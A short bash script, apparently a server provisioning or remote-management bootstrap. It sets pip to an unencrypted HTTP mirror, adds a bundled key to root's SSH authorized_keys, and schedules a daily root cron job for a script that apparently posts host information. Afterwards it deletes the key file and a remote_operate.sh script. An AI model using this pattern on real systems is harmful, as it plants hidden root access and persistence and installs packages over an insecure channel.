#!/bin/bash
mkdir ~/.pip
cat>~/.pip/pip.conf<<EOF
[global]
trusted-host=mirrors.aliyun.com
index-url=http://mirrors.aliyun.com/pypi/simple/
EOF
yum install -y python-pip net-tools
pip install pip==20.3.0
pip install requests
pip install urllib3
pip install ConfigParser
if [ ! -d /root/.ssh ];then 
mkdir /root/.ssh 
fi
cat /usr/local/bin/id_dsa.pub > /tmp/authorized_keys
[ -f /root/.ssh/authorized_keys ] && cat /tmp/authorized_keys >>/root/.ssh/authorized_keys || cp /tmp/authorized_keys /root/.ssh/
python /usr/local/bin/post_cookie_hostinfo.py
echo '0 1 * * *  python /usr/local/bin/post_cookie_hostinfo.py &>/dev/null' >>/var/spool/cron/root
sleep 1
[ $? -eq 0 ] && rm -rf /usr/local/bin/{id_dsa.pub,remote_operate.sh} /tmp/authorized_keys
